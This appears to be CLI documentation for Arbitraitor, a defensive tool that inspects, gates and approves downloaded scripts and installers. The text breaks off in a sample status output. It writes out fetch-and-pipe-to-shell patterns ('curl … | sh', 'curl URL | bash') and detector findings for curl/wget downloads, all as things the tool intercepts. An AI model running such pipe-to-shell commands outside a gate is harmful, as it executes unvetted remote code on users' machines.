Flags inherited by all wrappers subcommands:

FlagDefaultDescription
--shim-dir <PATH>~/.arbitraitor/shimsOverride the shim installation directory
--use-scriptsfalseInstall shell scripts instead of symlinks

uninstall

Remove installed shims (default: all):

arbitraitor wrappers uninstall

status

Show installed shims and their state:

arbitraitor wrappers status

States: installed (script), installed (symlink), not installed, foreign file.

init

Render or install the shell-integration snippet that puts the shim directory on PATH. This is the primary surface for wiring Arbitraitor into an interactive shell.

# Print mode (default) — emit snippet to stdout
arbitraitor wrappers init
eval "$(arbitraitor wrappers init)"

# Auto-install mode — write a marked block to the detected shell's rcfile
arbitraitor wrappers init --install

# Detect which shell you're running and which rcfile is targeted
arbitraitor wrappers init --detect-shell

# Remove the PATH block from your rcfile
arbitraitor wrappers init --uninstall

# Specify a shell explicitly (default: auto-detected from $SHELL)
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install

Flags:

FlagDescription
[shell] (positional)Target shell. Auto-detected from $SHELL if omitted.
--installWrite the snippet to the rcfile (instead of stdout).
--uninstallRemove a previously installed block from the rcfile.
--detect-shellPrint detected shell and target rcfile, then exit.
--dry-runShow what would change without writing. Requires --install.
--no-backupSkip <rcfile>.arbitraitor.bak creation. Requires --install.

Supported shells: bash, zsh, sh, fish, nu, xonsh, powershell, elvish, posix, tcsh, oil (also osh / ysh).

The rcfile block is wrapped in marker lines (# >>> arbitraitor wrappers >>> / # <<< arbitraitor wrappers <<<) so re-runs replace in place rather than appending. The corresponding in-shell snippet is idempotent: re-evaling does not duplicate PATH entries.

init-script

Hidden legacy command. Prints a generic POSIX shell-init snippet that prepends ~/.arbitraitor/shims to PATH (no auto-detection of shell, no per-shell idempotency). Prefer wrappers init, which auto-detects the target shell and emits a shell-specific, runtime-idempotent snippet.

arbitraitor wrappers init-script
# Add to .bashrc or .zshrc:
# eval "$(arbitraitor wrappers init-script)"

Status command

arbitraitor status [flags]

status reports Arbitraitor component health, daemon-process identity (PID, uptime, last operation), and the bounded recent-operations ring buffer when a local daemon is running. Falls back to a store-only summary when the daemon socket is unreachable (spec §28.1).

Flags

FlagDescription
--jsonOutput the full report (health + daemon snapshot) as JSON
--detectorsShow detector status
--feedsShow intelligence feed status
--storeShow store health and disk usage
--cas-dir <DIR>Override the content-addressed store root to probe
--rules <DIR>Load YARA-X rule packs from this directory and report their versions
--socket <PATH>Daemon socket path to query (default: standard ~/.cache/arbitraitor/daemon.sock)

What it reports

The status command surfaces:

  • Store: CAS health, corruption check, garbage collection status
  • Detectors: Loaded plugins and their current status
  • Feeds: Last sync time and freshness for each configured feed
  • Config: Validity of configuration files
  • Daemon (if running): PID, uptime in seconds, last operation, and a bounded list of recent operations (inspect, scan, query_receipt, health, shutdown). When no daemon is reachable, the report line Daemon: not running (store-only status) is emitted so callers can distinguish “daemon down” from “daemon healthy”.

The JSON shape mirrors the human-readable layout — every component report is keyed under health.checks, and the daemon snapshot (or null) is a top-level daemon field.

Scan command

arbitraitor scan [FILE] [flags]
arbitraitor scan --stdin [flags]

Scans a local file or stdin without network retrieval. Runs detectors and reports findings.

Flags

FlagDescription
--stdinRead input from stdin instead of a file path
--emit-on-passBuffer stdin and emit the original bytes to stdout only when the scan verdict is Pass
--recursiveRecursively scan archive payloads
--type <TYPE>Require an artifact class (elf, pe, mach-o, sh, archive)
--name <NAME>Keep findings and detector status for the named detector only
--source-url <URL>Record a source URL in scan provenance metadata
--jsonOutput the structured scan receipt as JSON instead of human-readable text
--sarifOutput scan findings as SARIF 2.1.0
--rules <DIR>Path to a directory of YARA-X rule packs
--explainPrint an explainability summary after findings
--format <FORMAT>Output format for explainability: text, shellcheck (implies --explain)

Examples

# Scan a local script
arbitraitor scan ./suspicious.sh

# Scan piped input
curl -s https://example.com/script.sh | arbitraitor scan --stdin

# Scan with explainability output
arbitraitor scan ./script.sh --explain

# Emit structured JSON receipt
arbitraitor scan ./script.sh --json

# Gate piped bytes: stdout receives bytes only on Pass
curl -s https://example.com/script.sh | arbitraitor scan --stdin --emit-on-pass

Explain command

arbitraitor explain <RECEIPT_PATH>

Reads a receipt file from a prior inspect or run and prints a human-readable summary of the verdict, findings, and retrieval metadata.

Examples

arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor explain receipt.json

Store command

arbitraitor store <subcommand> [flags]

Manages artifacts in the content-addressed store (CAS).

Subcommands

list

List all stored artifacts:

arbitraitor store list

inspect <SHA256>

Show metadata for a specific artifact:

arbitraitor store inspect <sha256>

gc

Run garbage collection on the store:

arbitraitor store gc
arbitraitor store gc --max-age-days 30

Flags

FlagDescription
--cas-dir <DIR>Override the CAS directory

Policy command

arbitraitor policy <POLICY_PATH>

Validates a TOML policy file and prints version, rule count, and digest.

Examples

arbitraitor policy my-policy.toml

Doctor command

arbitraitor doctor [flags]

Runs system health diagnostics. The default output is human-readable; --json emits the structured report for automation. The report covers store health, detectors, policies, YARA-X rules, antivirus adapters, scanner freshness, feed signatures, update trust roots, sandbox adapters, plugin manifests and protocol compatibility, wrapper coverage, shim PATH order, clock skew, proxy settings, and receipt signing keys.

Flags

FlagDescription
--cas-dir <DIR>Override the CAS directory to check
--rules <DIR>Path to rule packs directory
--receipt-signing-key <PATH>Path to the receipt signing key file (spec §31.3)
--jsonEmit structured JSON with each check status as pass, fail, warn, or skipped

Checks

CheckDescription
storeCAS directory exists, is writable, and reports object counts
detectorsDetector and rule-pack versions are configured
versionArbitraitor build and rule-pack version summary
policy_validityConfigured standalone policy TOML parses and validates
yara_rulesConfigured YARA-X rule directories exist and parse
av_adaptersClamAV or Microsoft Defender command availability
scanner_freshnessScanner signature/database files are within the freshness window when configured
feed_signaturesConfigured intel feed signature files exist and are readable
update_trust_rootConfigured update trust-root key exists and is readable
sandbox_adaptersPlatform sandbox adapter availability
plugin_manifestsInstalled plugin manifests are readable
plugin_protocolInstalled plugin manifests advertise compatible protocol metadata when declared
wrapper_coverageInstalled curl/wget commands have wrapper semantic coverage
shim_path_orderShim directory precedes original tools in PATH
clock_skewLocal system clock is plausible for signature freshness decisions
proxy_settingsProxy environment variables use supported URL schemes
receipt_signing_keyConfigured receipt signing key exists and is readable

Rules command

arbitraitor rules <subcommand> [flags]

Manages YARA-X rule packs.

Subcommands

list

List all loaded rule packs with source, namespace, version, auth status, and digest:

arbitraitor rules list

validate <FILE>

Validate that a YARA-X rule file compiles:

arbitraitor rules validate /path/to/rules.yar

Flags

FlagDescription
--rules-dir <DIR>Directory containing rule packs

Update command

arbitraitor update <subcommand>

Verifies signed update manifests for rule packs, intel feeds, trust roots, and plugin registries.

Subcommands

verify <MANIFEST> --key <KEY> [--signature <SIG>]

Verify a signed minisign update manifest:

arbitraitor update verify manifest.json --key pubkey.pub
# Signature defaults to manifest.minisig (extension replaced)
arbitraitor update verify manifest.json --key pubkey.pub --signature custom.minisig

Plugin command

arbitraitor plugin <subcommand>

Manages the plugin registry and local plugin lifecycle. Registry-backed operations currently expose the stable CLI surface and return stub output until registry plumbing is complete.

Subcommands

list

List all registered plugins:

arbitraitor plugin list

info <ID>

Show manifest details for a specific plugin. inspect is an alias:

arbitraitor plugin info <id>
arbitraitor plugin inspect <id>

search <QUERY>

Search the plugin registry:

arbitraitor plugin search yara

discover

Run plugin discovery from default directories:

arbitraitor plugin discover

install <ID>

Install a plugin by registry ID:

arbitraitor plugin install <id>

update [--all]

Update plugins. Use --all to update every installed plugin:

arbitraitor plugin update --all

enable <ID>

Enable an installed plugin:

arbitraitor plugin enable <id>

disable <ID>

Disable an installed plugin:

arbitraitor plugin disable <id>

trust <DIGEST_OR_SIGNER>

Trust a plugin digest or signer identity:

arbitraitor plugin trust sha256:<hex>
arbitraitor plugin trust signer@example.test

doctor

Run plugin health checks:

arbitraitor plugin doctor

remove <ID>

Unregister a plugin:

arbitraitor plugin remove <id>

Hook command

arbitraitor hook <subcommand>

Deprecated. The bash DEBUG trap runs on every command, has measurable overhead in interactive sessions, and only supports bash. Replace with arbitraitor wrappers install && arbitraitor wrappers init --install, which works across every supported shell and wires the shim directory onto PATH via a marked rcfile block. See wrappers.

Subcommands

init [--binary <PATH>]

Print a bash hook that intercepts curl|sh patterns and suggests arbitraitor run. Emits a deprecation warning to stderr on use.

arbitraitor hook init
# Custom binary path:
arbitraitor hook init --binary /usr/local/bin/arbitraitor

Shim command

arbitraitor shim <subcommand>

Manages compatibility shims that route supported tool invocations through Arbitraitor.

Subcommands

list

List installed shims and supported tools:

arbitraitor shim list
# Supported shims: npm, curl, wget, brew

install <TOOL>

Install a compatibility shim for a supported tool. Shims are written under ~/.arbitraitor/shims and dispatch by tool:

  • npm invokes arbitraitor pm run --tool npm.
  • curl and wget invoke arbitraitor fetch --tool <TOOL>.
  • brew invokes arbitraitor wrap brew.
arbitraitor shim install npm
arbitraitor shim install curl
arbitraitor shim install wget
arbitraitor shim install brew
# Writes ~/.arbitraitor/shims/npm

Supported tools: npm, curl, wget, brew.

remove <TOOL> / uninstall <TOOL>

Remove a compatibility shim:

arbitraitor shim remove curl
# Legacy alias:
arbitraitor shim uninstall npm

real <TOOL>

Resolve the real binary path for a supported tool by searching PATH while excluding ~/.arbitraitor/shims:

arbitraitor shim real curl
# /usr/bin/curl

status

Show every supported shim and its current slot state:

arbitraitor shim status
# npm: not installed
# curl: installed
# wget: not installed
# brew: not installed

PM command

arbitraitor pm run --tool <TOOL> [-- <ARGS>...]

Runs a package manager tool through Arbitraitor’s advisory scan (spec §39.14 Phase 1), then executes it if the verdict allows. Currently supports npm.

Advisory scan flow (npm)

  1. Resolves the dependency tree via package-lock.json (generates it with npm install --package-lock-only --ignore-scripts if absent).
  2. Parses lifecycle scripts (preinstall, install, postinstall, prepare, prepublish) from the root package.json.
  3. Flags dependencies with install lifecycle scripts (hasInstallScript in the lockfile).
  4. Flags dependencies resolved from non-registry sources (git URLs, file: links).
  5. Derives a verdict (Pass / Warn / Block) and emits a PackageManagerReceipt.
  6. If the verdict allows execution (Pass or Warn), runs npm install --ignore-scripts (scripts denied per the npm adapter’s DeniedByDefault lifecycle policy).

Flags

FlagDescription
--tool <TOOL>Package manager tool to wrap (currently: npm)

Exit codes

The pm command uses the standard verdict-to-exit-code mapping (0=Pass, 10=Warn, 30=Block). An error during scan or execution exits with code 33.

Examples

# Advisory scan + gated install (default)
arbitraitor pm run --tool npm

# Pass extra arguments to npm
arbitraitor pm run --tool npm -- install --save-dev lodash

Graph command

arbitraitor graph <FILE>

Renders a payload containment tree for archives, showing nested artifact types and SHA-256 digests.

Examples

arbitraitor graph ./archive.tar.gz

Approve command

arbitraitor approve <RECEIPT> [flags]

Decoupled approval flow: reads a receipt from a prior inspection, displays findings, prompts for approval, and writes a time-limited approval file (5-minute expiry). If --output is omitted, the approval path defaults to <receipt>.approval.json.

Flags

FlagDescription
--output <PATH>Write the approval file to this path

Examples

arbitraitor inspect https://example.com/install.sh --receipt receipt.json
arbitraitor approve receipt.json --output approval.json
# Without --output, writes receipt.approval.json
arbitraitor approve receipt.json

Execute command

arbitraitor execute --approval <APPROVAL> [flags]

Executes an artifact from CAS using a previously generated approval file. The legacy positional approval path is still accepted for compatibility but emits a deprecation warning; use --approval <PATH> for new scripts.

Flags

FlagDescription
--approval <PATH>Approval file from arbitraitor approve
--networkAllow network access during execution

Examples

arbitraitor execute --approval approval.json
# With network access:
arbitraitor execute --approval approval.json --network

Supported artifact types

Only ArtifactType::ShellScript(_) artifacts are executable via the execute command. All other classified types — HtmlDocument, JsonDocument, XmlDocument, GenericText, GenericBinary, archives, PowerShellScript, PythonScript, JavaScript, and Unknown — fail closed with an error before reaching ScriptExecution::bash, even when the approval file is otherwise valid. This mirrors the content-type gate on arbitraitor run and run_approved_artifact (MCP) per ADR-0036 and issue #612. Native executables are also not accepted via execute because the approval flow always binds to the bash interpreter (native execution uses a separate release path).

Report command

arbitraitor report <SUBCOMMAND>

Records user feedback on findings (spec §21.7). All reported feedback is scoped and auditable.

Subcommands

SubcommandDescription
false-positive <FINDING_ID>Mark a finding as a false positive so future inspections do not re-surface it

Examples

arbitraitor report false-positive SHELL-EVAL-001

Allow command

arbitraitor allow sha256:<HEX> --scope <SCOPE> --expires <DURATION> --reason <TEXT>

Records a scoped, time-bounded allow exception for an artifact digest (spec §21.7). Every exception requires a scope, an expiry, and a written justification for audit.

Flags

FlagDescription
sha256:<HEX> (positional)SHA-256 of the artifact in sha256:<64-hex> form
--scope <SCOPE>Exception scope: user, project, or org (required)
--expires <DURATION>Duration until expiry: <N>s, <N>m, <N>h, or <N>d (required)
--reason <TEXT>Free-form justification recorded for auditing (required)

Examples

# Project-wide allow for one week
arbitraitor allow sha256:abababababababababababababababababababababababababababababababab \
  --scope project --expires 7d --reason "approved by sec review #482"

MCP command

arbitraitor mcp

Starts a Model Context Protocol JSON-RPC 2.0 server over stdio for AI agent integration. Provides tools for inspecting, scanning, explaining, and approving artifact execution.

Version command

arbitraitor version

Prints version, license, and repository information.

inspect

The inspect command retrieves an artifact and runs it through the detection pipeline without executing it. This is Arbitraitor’s primary analysis command.

Synopsis

arbitraitor inspect <URL or file path> [flags]

Description

inspect performs Level 1 (Inspect) assurance. It:

  1. Retrieves the artifact (or reads from disk)
  2. Records transport metadata (final URL after redirects, TLS certificate info)
  3. Buffers the artifact in content-addressed storage
  4. Identifies the content type
  5. Runs configured detectors
  6. Evaluates policy
  7. Emits a verdict and findings

No execution occurs. The artifact bytes never reach a runtime.

Flags

--receipt <PATH>

Write an RFC 8785 JCS canonicalized JSON receipt to the specified path. The receipt includes:

  • Artifact identity (SHA-256)
  • Content type
  • All findings
  • Verdict and assurance level
  • Transport metadata
  • Policy snapshot digest
  • Timestamp
arbitraitor inspect https://example.com/install.sh --receipt receipt.json

--detectors <NAMES>

Run only the specified detectors. Names are comma-separated.

arbitraitor inspect script.sh --detectors shell,archive

Available detectors: shell, archive, yarax, powershell, av, intel.

--no-detectors

Skip all detectors. Only retrieve, identify, and hash.

arbitraitor inspect https://example.com/file.txt --no-detectors

--content-type <TYPE>

Override automatic content type detection. Useful when a server misreports type.

arbitraitor inspect script.sh --content-type application/x-shellscript

--native

Treat the artifact as a native executable, not a script. Changes which detectors run (skips shell analysis, enables binary signatures).

arbitraitor inspect ./bin/mytool --native

--timeout <SECONDS>

Maximum time for retrieval and analysis combined. Default is 120 seconds.

arbitraitor inspect large-archive.zip --timeout 300

Output format

Text output

Artifact:    sha256:a1b2c3d4e5f6...
Source:      https://example.com/install.sh (final URL after redirects)
Type:        application/x-shellscript
Size:        4.2 KB
Detectors:   shell ✅  archive ✅

Findings:
  network:curl              high      Downloads content via curl
  network:wget               high      Downloads content via wget
  fs:write:/tmp              medium    Writes to /tmp directory
  exec:subprocess            high      Spawns subprocesses

Verdict: WARN (inspect)
  Elevated findings require human review before execution.
  Run 'arbitraitor run <URL>' to request approval.

JSON output

Use --output json for machine-readable output:

arbitraitor inspect https://example.com/install.sh --output json
{
  "artifact_digest": "sha256:a1b2c3d4e5f6...",
  "source": "https://example.com/install.sh",
  "content_type": "application/x-shellscript",
  "size_bytes": 4305,
  "findings": [
    {
      "id": "network:curl",
      "severity": "high",
      "title": "Downloads content via curl",
      "description": "The script uses curl to fetch remote content"
    }
  ],
  "verdict": "warn",
  "assurance_level": "inspect",
  "policy_snapshot_digest": "sha256:91ab..."
}

Reading the output

Severity levels map to policy actions:

SeverityDefault policy action
CriticalBlock (unless explicitly allowed)
HighPrompt
MediumWarn
LowPass

Verdicts:

VerdictMeaning
PassAll findings below policy thresholds
WarnFindings at or above thresholds, human review recommended
IncompleteA detector could not complete, blocking by default
BlockFindings exceeded block thresholds

The Verdict line always includes the assurance level in parentheses, e.g., WARN (inspect), PASS (mediated).

Examples

# Basic inspection of a remote script
arbitraitor inspect https://example.com/install.sh

# With receipt for later approval
arbitraitor inspect https://example.com/install.sh --receipt receipt.json

# Inspect a local file
arbitraitor inspect ./downloads/untrusted-script.sh

# Specific detectors, no archive scanning
arbitraitor inspect script.sh --detectors shell

# Quick identify only
arbitraitor inspect file.bin --no-detectors

run

The run command executes the full Arbitraitor pipeline including human approval for elevated findings.

Synopsis

arbitraitor run <URL or file path> [flags]

Description

run performs Level 2 (Mediated) or Level 3 (Contained) execution. It:

  1. Retrieves and buffers the artifact
  2. Runs the detection pipeline
  3. Constructs a canonical execution plan
  4. Evaluates policy against the plan
  5. Requests human approval if findings require it
  6. Executes the exact buffered artifact in a controlled context
  7. Emits a signed receipt

The approval flow

When findings exceed policy thresholds, run pauses for human approval:

Artifact: sha256:a1b2c3d4e5f6...
Plan:     sha256:91ab...
Type the first 12 characters of the plan digest to approve:

Approval binds the entire execution context — not just the artifact digest. Changing any parameter (interpreter, arguments, environment, destination) requires fresh approval.

Flags

--receipt <PATH>

Write the execution receipt to this path. The receipt proves what was executed and what controls were in effect.

--output <PATH>

Write the artifact’s stdout and stderr to this path instead of the terminal.

arbitraitor run install.sh --output /tmp/install.log

--native

Allow native binary execution. Requires --native gate enabled in policy. Without this flag, native binaries are blocked.

arbitraitor run ./bin/tool --native

--interactive

Force the interactive approval prompt even if --non-interactive is set globally.

--non-interactive

Block immediately if human approval would be required. Returns exit code 21 (Prompt).

arbitraitor run https://example.com/install.sh --non-interactive

--policy <PATH>

Path to a pre-issued approval capability JSON file. Used in CI and automation instead of interactive approval.

arbitraitor run https://example.com/install.sh \
  --policy ./ci-capability.json

--working-dir <PATH>

Set the working directory for execution. Defaults to a temporary directory.

--env <KEY=VALUE>

Set environment variables for execution. Repeatable.

arbitraitor run install.sh --env HOME=/tmp/home --env USER=test

--network

Allow network access during execution. By default, mediated execution denies all network access.

--fs-grant <PATH>

Grant read access to the specified path during execution. Repeatable for multiple paths.

arbitraitor run install.sh --fs-grant /tmp --fs-grant /var/cache

The full pipeline flow

inspect (retrieve once)
  -> record transport metadata
  -> buffer in CAS (immutable)
  -> identify content
  -> hash and verify provenance
  -> scan (detectors)
  -> evaluate policy
  -> construct execution plan

if plan requires approval:
  -> request human approval
  -> on approval: execute
  -> on denial: block

execute (exact buffered bytes only)
  -> construct clean environment
  -> apply sandbox controls
  -> run with mediator
  -> capture output

emit receipt
  -> policy snapshot
  -> assurance level
  -> findings
  -> capability matrix
  -> signatures

Exit codes

arbitraitor run follows the stable exit codes defined in spec §29 (see also CLI reference → Exit codes).

The codes most relevant to run are:

CodeMeaning
0Pass — inspection and execution both completed
1General operational error
20Interactive approval declined by the user
21Prompt required in non-interactive mode
30Blocked by policy
31Confirmed malicious indicator
32Integrity or signature failure
33Required detector unavailable or stale
34Analysis incomplete (resource limit)
40Network retrieval failure
41Redirect or transport policy violation
42Content type or size policy violation
50Execution failed after approval
60Internal integrity invariant failure

The exit code of arbitraitor run is not the exit code of the executed child process. The child’s exit code is recorded in the receipt and is visible in arbitraitor explain <receipt>. If the child exits non-zero after approval was granted, Arbitraitor exits 50 (Execution failed after approval).

Examples

Interactive approval

arbitraitor run https://example.com/install.sh

Non-interactive (CI)

arbitraitor run https://example.com/install.sh \
  --non-interactive \
  --receipt ./receipt.json

With pre-issued capability

Note: Pre-issued capability issuance (approve subcommand) is not yet implemented. The --policy flag accepts a capability file when available, but there is currently no CLI command to create one. This will be added in a future release.

Script with limited access

arbitraitor run install.sh \
  --network \
  --fs-grant /tmp \
  --output /tmp/install.log

Native binary (requires gate)

arbitraitor run ./bin/mytool --native

wrappers

The wrappers command installs shell shims (PATH intercepts) that route curl and wget invocations through Arbitraitor, and produces the shell-integration snippet that puts the shim directory on PATH.

arbitraitor wrappers <subcommand> [flags]

Stability: Unstable. Verified against commit 7cb6906. Flags, default directories, and the supported-shell list may change before 1.0.

How shims work

A shim is a small file (shell script or symlink) placed in a dedicated directory. When that directory precedes the real tool’s directory on PATH, the shell finds the shim instead of the original binary. The shim is a thin dispatcher: it re-invokes arbitraitor fetch --tool <curl|wget> with the original arguments. Arbitraitor performs retrieval through its own fetch pipeline (SSRF controls, redirect policy, TLS verifier selection — see spec §11, ADR-0018), inspects the artifact, and emits bytes only on a Pass verdict.

The original curl or wget is not modified. wrappers status reports the shim state (installed (script), installed (symlink), not installed, or foreign file — see Status semantics below).

$ curl https://example.com/install.sh | sh
       │
       ▼
~/.arbitraitor/shims/curl      ←── shim runs first
       │
       ▼
arbitraitor fetch --tool curl -- https://example.com/install.sh
       │
       ▼
   [fetch pipeline + inspect + verdict]
       │
  Pass ─────────┐
  Block ───────┴── non-zero exit, no bytes emitted

Default shim directory

Default: ~/.arbitraitor/shims

This directory is not on any operating system’s default PATH. This is intentional:

  1. No silent binary replacement. A namespaced directory makes the shadowing explicit and reversible. Arbitraitor must never silently replace system binaries (spec §28.7 invariant).
  2. No collision with user scripts. Putting curl/wget shims into ~/.local/bin or /usr/local/bin would shadow user-installed scripts of the same name without warning.
  3. Idempotent uninstall. arbitraitor wrappers uninstall wipes one directory rather than scanning shared user paths for Arbitraitor-managed files.

Users who prefer ~/.local/bin may override with --shim-dir:

arbitraitor wrappers install --shim-dir ~/.local/bin
arbitraitor wrappers init --install --shim-dir ~/.local/bin

~/.local/bin is on default PATH on Debian (bash ≥ 4.3-15, 2016), Ubuntu (≥ 16.04), and Fedora (bash ≥ 4.2.10-3, 2012). It is not on default PATH on Arch, RHEL, NixOS, Alpine, or any minimal/container base image. The rcfile snippet written by wrappers init --install puts any chosen shim directory on PATH regardless of distro defaults.

Subcommands

install

Install curl and wget shims (default: both):

arbitraitor wrappers install
arbitraitor wrappers install curl        # install only the curl shim
arbitraitor wrappers install wget        # install only the wget shim

Flags inherited from the parent wrappers command:

FlagDefaultDescription
--shim-dir <PATH>~/.arbitraitor/shimsOverride the shim installation directory
--use-scriptsfalseInstall shell scripts instead of symlinks (use when the shim directory is on a filesystem that does not support symlinks)

After install, the shim directory is not yet on PATH. The command output prints the next step:

$ arbitraitor wrappers install
installed: /home/user/.arbitraitor/shims/curl
installed: /home/user/.arbitraitor/shims/wget
2 shims installed in /home/user/.arbitraitor/shims

To activate, add the shim directory to your PATH:
  eval "$(arbitraitor wrappers init)"    # print mode
  arbitraitor wrappers init --install      # auto-install to rcfile

uninstall

Remove installed shims (default: all):

arbitraitor wrappers uninstall
arbitraitor wrappers uninstall curl      # remove only the curl shim

Does not remove the rcfile PATH snippet — use wrappers init --uninstall for that.

status

Show installed shims and their state:

arbitraitor wrappers status

States:

StateMeaning
installed (script)A script file occupies the shim slot; content starts with the Arbitraitor shim marker
installed (symlink)A symlink occupies the shim slot (target not validated)
not installedNo shim file present in the shim directory
foreign fileA file with the same name exists but does not start with the Arbitraitor shim marker (manual review recommended; the file will be overwritten on next wrappers install)

init

Render or install the shell-integration snippet that puts the shim directory on PATH. This is the primary surface for wiring Arbitraitor into an interactive shell.

# Print mode (default) — emit snippet to stdout
arbitraitor wrappers init
eval "$(arbitraitor wrappers init)"

# Auto-install mode — write a marked block to the detected shell's rcfile
arbitraitor wrappers init --install

# Detect which shell you are running and which rcfile is targeted
arbitraitor wrappers init --detect-shell

# Remove the PATH block from your rcfile
arbitraitor wrappers init --uninstall

# Specify a shell explicitly (defaults to auto-detect via $SHELL)
arbitraitor wrappers init bash
arbitraitor wrappers init zsh
arbitraitor wrappers init fish --install

# Preview what would be written (use with --install)
arbitraitor wrappers init --install --dry-run

# Skip backup file creation (default: backup is created)
arbitraitor wrappers init --install --no-backup

Flags:

FlagDescription
[shell] (positional)Target shell. Auto-detected from $SHELL if omitted.
--installWrite the snippet to the shell’s rcfile (instead of stdout).
--uninstallRemove a previously installed block from the rcfile.
--detect-shellPrint detected shell and target rcfile, then exit.
--dry-runShow what would change without writing. Requires --install.
--no-backupSkip <rcfile>.arbitraitor.bak creation. Requires --install.

Shells supported

bash, zsh, sh, fish, nu, xonsh, powershell, elvish, posix, tcsh, oil (also accepts osh / ysh).

This list matches the industry-consensus shell coverage from starship (12 shells) and is ahead of zoxide (9), atuin (6), and direnv (8). Detection falls back from $SHELL to parent-process inspection (/proc/$PPID/cmdline on Linux, ps -o comm= on macOS).

Idempotency

For POSIX-family shells (bash, zsh, sh, posix, tcsh, oil), the rcfile block is wrapped in marker lines so re-runs replace in place rather than appending:

# >>> arbitraitor wrappers >>>
export PATH="$HOME/.arbitraitor/shims:$PATH"
# <<< arbitraitor wrappers <<<

Re-running wrappers init --install after a directory change (via --shim-dir) updates the block atomically. The corresponding in-shell snippet is also idempotent: re-evaling arbitraitor wrappers init does not duplicate PATH entries (POSIX case guard for bash/zsh/sh, typeset -aU path for zsh, fish_add_path --move --path for fish, etc.).

Exceptions: fish, nu (Nushell), and powershell use a dedicated file rather than a marked block in an existing rcfile — fish writes ~/.config/fish/conf.d/arbitraitor.fish; nushell writes ~/.config/nushell/vendor/autoload/arbitraitor.nu; powershell writes its $PROFILE. --install overwrites these files atomically on each run (with .arbitraitor.bak backup by default); --uninstall removes them. The runtime snippets remain idempotent for these shells.

Backups

--install writes a backup before mutating the rcfile (or dedicated shell file for fish/nu/powershell) using Path::with_extension — for files without a conventional extension (e.g. .bashrc) this appends .arbitraitor.bak; for files with an extension (e.g. PowerShell profile.ps1) it replaces the extension to give profile.arbitraitor.bak. The backup is overwritten on each subsequent --install. Pass --no-backup to skip.

init-script

Hidden legacy command that prints a generic POSIX shell-init snippet that prepends ~/.arbitraitor/shims to PATH. Retained from an earlier version that did not have per-shell snippet generation. Prefer arbitraitor wrappers init which auto-detects the target shell and emits a shell-specific, runtime-idempotent snippet (POSIX case guard for bash/zsh/sh, typeset -aU path for zsh, fish_add_path --move --path for fish, etc.). Retained for backwards compatibility with automation that pipes the legacy snippet into rcfiles.

arbitraitor wrappers init-script    # hidden, legacy
# Prefer:
arbitraitor wrappers init           # auto-detect shell, print snippet
eval "$(arbitraitor wrappers init)"

Hidden alias: arbitraitor env

arbitraitor env is a hidden alias of arbitraitor wrappers init. It accepts the same init flags (--install, --uninstall, --detect-shell, --dry-run, --no-backup, positional [shell]) but does not inherit the wrappers parent flags (--shim-dir, --use-scripts) — it always uses the default shim directory (~/.arbitraitor/shims). Pass --shim-dir via the wrappers parent form (arbitraitor wrappers init --install --shim-dir <PATH>) when overriding the directory.

Hidden because the dominant industry convention (starship, zoxide, atuin) is the verb init; surfacing env as a top-level command would conflict with printenv(1) semantics. The alias exists as a discoverability shortcut.

Deprecated command: arbitraitor hook init

arbitraitor hook init prints a bash DEBUG trap that intercepts curl|sh-style invocations at runtime. It is deprecated and prints a warning on use. The DEBUG trap runs on every command, has measurable overhead in interactive sessions, and only supports bash.

Replace with arbitraitor wrappers install && arbitraitor wrappers init --install, which:

  1. Installs the curl/wget shims (one-time).
  2. Wires the shim directory onto PATH via a marked rcfile block — works across every supported shell, no per-command trap overhead.

Output behaviour per verdict

When the wrapper’s inspection verdict is Pass, the wrapper emits the fetched artifact bytes transparently — matching real curl/wget semantics:

FlagsDestination
(none)Raw bytes to stdout (pipe semantics: curl URL | bash works)
-o <file> / --output <file>Bytes written to the specified file
-O / --remote-nameBytes written to a file named after the URL’s last path segment
wget -O <file>Same as curl -o <file>

When the verdict is anything other than Pass (Warn, Prompt, Block, Error, Incomplete):

  • Nothing is written to stdout — downstream consumers receive no bytes.
  • The wrapper exits non-zero.

This means curl URL | bash (with shims active) is safe by construction: bash receives input only when the artifact received a Pass verdict. Wrappers are a strict download gate; they do not perform interactive approval. To require human approval before execution, use arbitraitor run <URL> (which goes through the approval flow defined in ADR-0013).

Security notes

  • The shim directory (~/.arbitraitor/shims by default) is created with the process umask; no explicit mode is set. If you require a specific mode, create the directory before running wrappers install.
  • wrappers install overwrites existing files in the shim directory. If a file named curl or wget already exists at the shim path (including non-Arbitraitor-managed files), it is removed and replaced with the new shim. wrappers status reports foreign file for unknown files as an informational hint, but install will still clobber them. Use a dedicated shim directory (the default ~/.arbitraitor/shims) to avoid collisions; if you override with --shim-dir ~/.local/bin or another shared path, audit it first.
  • Network access during wrapper execution is controlled by the active policy and the fetch transport policy (spec §11, ADR-0018).
  • Every intercepted download is recorded in the Arbitraitor audit trail and contributes to the operation receipt.

status

The status command shows Arbitraitor’s current health state, including store integrity, loaded detectors, and intelligence feed freshness.

Synopsis

arbitraitor status [flags]

Description

status runs a series of health checks and reports their results. It does not modify state or perform any retrieval.

Flags

--json

Output results as JSON for programmatic consumption:

arbitraitor status --json

--detectors

Show detailed detector status including version and capability information.

--feeds

Show intelligence feed status including last sync time and freshness.

--store

Show store health including disk usage, corruption checks, and garbage collection status.

Health checks

Store

  • CAS integrity: Verifies all stored digests match their content
  • Disk usage: Reports bytes used and available
  • Retention policy: Shows when objects are eligible for garbage collection
  • Quarantine: Lists any objects awaiting manual review

Detectors

  • Shell analyzer: Verifies bash/dash parser is operational
  • Archive extractor: Confirms supported formats are registered
  • YARA-X engine: Checks rule pack version and match count
  • PowerShell analyzer: Verifies AST parser is functional
  • Plugin host: Confirms Wasmtime runtime is available

Intelligence feeds

  • Last sync: When each feed was last updated
  • Freshness: Whether the feed is within its configured TTL
  • Indicator count: How many active indicators each feed provides

Configuration

  • Config file validity: TOML parsing and schema validation
  • Policy file validity: Rule syntax and import resolution
  • Secret resolution: Whether referenced secrets can be loaded

Exit codes

arbitraitor status follows the stable exit codes defined in spec §29 (see CLI reference → Exit codes).

The codes most relevant to status are:

CodeMeaning
0Status reported, no health issues
1General operational error (cannot read store, daemon unreachable but not expected)
33Required detector unavailable or stale — surfaced as a health finding
60Internal integrity invariant failure

Examples

# Full status
arbitraitor status

# JSON output for monitoring
arbitraitor status --json

# Store health only
arbitraitor status --store

# Detector details
arbitraitor status --detectors

# Feed freshness
arbitraitor status --feeds

Sample output

Arbitraitor status
==================

Store:
  CAS integrity:   OK (1,247 objects, 42.3 MB)
  Disk usage:      42.3 MB / 100 GB
  Quarantine:      0 objects
  Last GC:         2026-06-20 04:00:00 UTC

Detectors:
